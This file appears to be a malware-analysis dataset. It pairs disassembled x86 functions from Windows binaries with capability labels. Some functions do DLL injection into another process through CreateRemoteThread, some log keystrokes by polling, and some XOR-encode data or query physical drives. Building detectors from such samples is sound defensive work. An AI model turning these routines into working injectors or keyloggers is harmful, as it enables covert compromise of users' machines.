joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100090d0
Capabilities:
Check mutex on windows
Create thread
Enumerate process modules
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x111c
call fcn.10020950
mov eax, dword [0x10030040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1013bc64], 0
push esi
mov esi, dword [ebp + 8]
je 0x10009298
test byte [0x1013bc60], 2
je 0x10009298
push ebx
push edi
push esi
lea eax, [ebp - 0x14]
push str.PMBL_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x1000927b
test edi, edi
jne 0x1000927b
lea eax, [ebp - 0x111c]
mov dword [ebp - 0x111c], edi
push eax
push 0x1000
lea eax, [ebp - 0x1118]
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x1000927b
mov edi, dword [ebp - 0x111c]
xor esi, esi
shr edi, 2
test edi, edi
je 0x100091f2
nop dword [eax + eax]
push 0x104
lea eax, [ebp - 0x118]
push eax
push dword [ebp + esi*4 - 0x1118]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x100091ed
mov ecx, 0x10135aec
lea eax, [ebp - 0x118]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100091e0
test dl, dl
je 0x100091dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100091e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100091c0
xor eax, eax
jmp 0x100091e5
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000927b
inc esi
cmp esi, edi
jl 0x10009190
mov esi, 0x10135aec
lea ecx, [esi + 1]
nop word [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10009200
push 4
push 0x1000
sub esi, ecx
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x1000927b
push 0
push esi
push 0x10135aec
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000926d
push 0x1002b144
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000926d
push 0
push 0
push edi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x1000926d
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call eax
pop edi
pop ebx
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c666
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1000c666
mov esp, ebp
pop ebp
ret 8
Function at 0x1000a2a0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002d6a8
push 0x1000dc50
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x10030040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x148], edx
push ecx
push str..PhysicalDrive_d
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x14c], esi
cmp esi, 0xffffffff
je 0x1000a447
mov dword [ebp - 0x130], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x140], xmm0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
push 0
lea eax, [ebp - 0x144]
push eax
push 8
lea eax, [ebp - 0x140]
push eax
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1000a37f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000a447
push dword [ebp - 0x13c]
call fcn.1000c9c4
mov edi, eax
mov dword [ebp - 0x150], edi
push dword [ebp - 0x13c]
push 0
push edi
call fcn.1000e330
add esp, 0x10
push 0
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x13c]
push edi
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1000a437
mov eax, dword [edi + 0x18]
test eax, eax
je 0x1000a437
mov dword [ebp - 4], 0
add eax, edi
push eax
push 0x100
push dword [ebp - 0x148]
call fcn.1001033b
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.1000c9bf
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000a449
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.1000c9bf
add esp, 4
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.1000c666
mov esp, ebp
pop ebp
ret
Function at 0x1000ac80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10030040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0x408]
call fcn.100032d0
mov ecx, dword [0x1013be00]
mov eax, dword [ecx]
cmp eax, ecx
je 0x1000ad25
nop dword [eax]
mov esi, dword [eax + 0x18]
or ebx, 0xffffffff
mov edi, dword [eax + 0x14]
test esi, esi
je 0x1000acda
nop dword [eax]
movzx ecx, byte [edi]
lea edi, [edi + 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
xor ebx, dword [ebp + edx*4 - 0x408]
sub esi, 1
jne 0x1000acc0
not ebx
cmp dword [eax + 0x1c], ebx
jne 0x1000ad38
mov ecx, dword [eax + 8]
cmp byte [ecx + 0xd], 0
je 0x1000ad07
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x1000ad03
cmp eax, dword [ecx + 8]
jne 0x1000ad03
mov eax, ecx
mov ecx, dword [ecx + 4]
cmp byte [ecx + 0xd], 0
je 0x1000acf3
mov eax, ecx
jmp 0x1000ad1d
mov eax, ecx
mov edx, dword [eax]
cmp byte [edx + 0xd], 0
jne 0x1000ad1d
mov ecx, dword [edx]
mov eax, edx
mov edx, ecx
cmp byte [ecx + 0xd], 0
je 0x1000ad11
cmp eax, dword [0x1013be00]
jne 0x1000acb0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c666
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c666
mov esp, ebp
pop ebp
ret
Function at 0x1000b8f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm3, xmm0, 0
test edx, edx
jle 0x1000b990
cmp edx, 0x40
jb 0x1000b980
movaps xmm2, xmmword [0x1002c670]
lea ecx, [esi + 0x20]
push edi
mov edi, edx
and edi, 0xffffffc0
nop dword [eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm3
paddb xmm0, xmm3
xorps xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
paddb xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
paddb xmm0, xmm3
xorps xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
paddb xmm0, xmm3
xorps xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
cmp eax, edi
jl 0x1000b930
pop edi
cmp eax, edx
jge 0x1000b990
nop
mov cl, byte [esi + eax]
add cl, bl
xor cl, 0xa0
mov byte [esi + eax], cl
inc eax
cmp eax, edx
jl 0x1000b980
pop esi
pop ebx
pop ebp
ret

Function at 0x1000b9a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm3, xmm0, 0
test edx, edx
jle 0x1000ba40
cmp edx, 0x40
jb 0x1000ba30
movaps xmm2, xmmword [0x1002c670]
lea ecx, [esi + 0x20]
push edi
mov edi, edx
and edi, 0xffffffc0
nop dword [eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
xorps xmm1, xmm0
psubb xmm1, xmm3
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
xorps xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
xorps xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [ecx - 0x30], xmm0
cmp eax, edi
jl 0x1000b9e0
pop edi
cmp eax, edx
jge 0x1000ba40
nop
mov cl, byte [esi + eax]
xor cl, 0xa0
sub cl, bl
mov byte [esi + eax], cl
inc eax
cmp eax, edx
jl 0x1000ba30
pop esi
pop ebx
pop ebp
ret
Function at 0x1000bd80
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x1013c168
mov esi, ecx
call fcn.1000e330
movaps xmm1, xmmword [0x1002c660]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_feeeeeeeeeeeeeeee]
xor eax, eax
shl esi, 8
add esi, 0x10027d18
movups xmm0, xmmword [esi - 0x10]
lea esi, [esi + 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax + 0x1013c168], xmm0
movups xmm0, xmmword [esi - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax + 0x1013c178], xmm0
movups xmm0, xmmword [esi - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax + 0x1013c188], xmm0
movups xmm0, xmmword [esi - 0x20]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax + 0x1013c198], xmm0
add eax, 0x40
cmp eax, 0x100
jb 0x1000bdb0
pop esi
mov eax, 0x1013c168
ret

Function at 0x10012674
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100126b3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100126b3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100126b3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100126b3
cmp dword [ecx + 0x74], 0xe
jbe 0x100126b3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10013d10
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1013b740]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10013d50
cmp byte [ebx], 0xa
jne 0x10013d50
or byte [edi + eax + 0x28], 4
jmp 0x10013d55
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10013e54
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10013e37
inc eax
cmp dl, 0xd
je 0x10013d81
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10013da7
cmp eax, ecx
jae 0x10013db5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10013d69
jmp 0x10013e54
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013e32
cmp dword [ebp - 0x10], 0
je 0x10013e32
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1013b740]
test byte [eax + edi + 0x28], 0x48
je 0x10013e0c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10013df7
mov byte [esi], dl
jmp 0x10013e08
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1013b740]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10013e54
cmp byte [ebp - 1], 0xa
jne 0x10013e1b
cmp esi, ebx
jne 0x10013e1b
mov byte [esi], 0xa
jmp 0x10013e53
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10019a41
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10013e54
mov byte [esi], 0xd
jmp 0x10013e53
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1013b740]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10013e51
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10013e54
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10013e5d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1013b740]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10013ea3
cmp word [ebx], dx
jne 0x10013ea3
or byte [eax + edi + 0x28], 4
jmp 0x10013ea8
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1001400b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10013feb
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10013ee9
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10013f1f
cmp eax, edx
jae 0x10013f2d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10013ec4
jmp 0x1001400b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013fe6
cmp dword [ebp - 0x18], 0
je 0x10013fe6
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1013b740]
test byte [eax + edi + 0x28], 0x48
je 0x10013fbc
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10013f80
mov word [esi], cx
jmp 0x10013fb7
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1013b740]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1013b740]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1013b740]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1001400b
pop eax
cmp word [ebp - 4], ax
jne 0x10013fcc
cmp esi, ebx
jne 0x10013fcc
mov word [esi], ax
jmp 0x10014008
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10019a41
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1001400b
push 0xd
pop eax
jmp 0x10013fc7
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1013b740]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10014005
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1001400b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10017e29
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10017ec6
push ebx
push esi
call fcn.10017df2
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10017d86
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10017e73
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10017ec5
push edi
push eax
call fcn.1001544d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10017e93
call fcn.1001482a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10017ec4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10017d86
add esp, 0x20
test eax, eax
jne 0x10017eb2
push edi
call fcn.1001482a
jmp 0x10017eba
push ebx
call fcn.1001482a
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100180c6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024fe8
push 0x10024fe0
push str.FlsAlloc
push 0x1f
call fcn.10017fe2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100180fa
push dword [ebp + 8]
mov ecx, esi
call dword [0x10022320]
call esi
jmp 0x10018100
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10018144
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024ff8
push 0x10024ff0
push str.FlsGetValue
push 0x21
call fcn.10017fe2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001817b
push dword [ebp + 8]
mov ecx, esi
call dword [0x10022320]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10018183
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10025000
push 0x10024ff8
push str.FlsSetValue
push 0x22
call fcn.10017fe2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100181bd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10022320]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001d8e1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1001d85d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001da50
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001da50
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1001da05
jg 0x1001d93d
test eax, eax
je 0x1001d9fb
push 1
push 0x1000
call fcn.100169ae
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1001d960
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001d9f2
push 0x8000
push ebx
call fcn.1001d78e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1001d989
jg 0x1001d984
cmp ecx, 0x1000
jb 0x1001d989
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1001a504
add esp, 0x10
cmp eax, 0xffffffff
je 0x1001d9ce
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1001d984
jl 0x1001d9b5
test ecx, ecx
jne 0x1001d976
push dword [ebp - 0xc]
push ebx
call fcn.1001d78e
push esi
call fcn.1001482a
add esp, 0xc
xor ebx, ebx
jmp 0x1001da5e
cmp byte [edi + 0x24], 0
je 0x1001d9e5
cmp dword [edi + 0x20], 5
jne 0x1001d9e5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001d9f0
mov ebx, dword [edi + 0x18]
jmp 0x1001d9f2
xor ebx, ebx
push esi
call fcn.1001482a
pop ecx
jmp 0x1001da5e
test ecx, ecx
jg 0x1001d9c7
jl 0x1001da05
test eax, eax
jae 0x1001d9c7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10019a41
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1001da25
cmp byte [edi + 0x1c], 0
je 0x1001d9c7
jmp 0x1001da56
push ebx
call fcn.10019954
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001d9c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001da5e
cmp byte [edi + 0x1c], 0
je 0x1001da5b
mov ebx, dword [edi + 0x18]
jmp 0x1001da5e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10019a41
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100205c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100205ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100205ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405d7c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405db5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403420
jmp 0x405dbe
mov eax, ebx
mov edx, esi
call fcn.004033d4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405dc8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405de9
mov al, byte [esp]
jmp 0x405deb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40e12c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403340
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x40e18d
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x40e18d
cmp byte [ebp - 0x102], 0
je 0x40e18d
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040349c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40f3c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x24], 0
je 0x40f441
xor eax, eax
mov al, byte [ebx + 4]
mov word [ebp - 6], ax
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x40f3f2
add word [ebp - 6], 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x40f404
add word [ebp - 6], 0x4000
test byte [ebx + 0xb], 0x20
je 0x40f410
add word [ebp - 6], 0x8000
xor ebx, ebx
movzx edx, word [ebp - 6]
mov cl, 2
mov eax, dword [ebp - 0xc]
call fcn.0040f298
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40f435
push ebp
mov eax, dword [ebp - 4]
call fcn.0040f334
pop ecx
mov ebx, eax
cmp bl, 2
je 0x40f410
cmp dword [ebp - 4], 0
setne al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x416804
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41680a
ret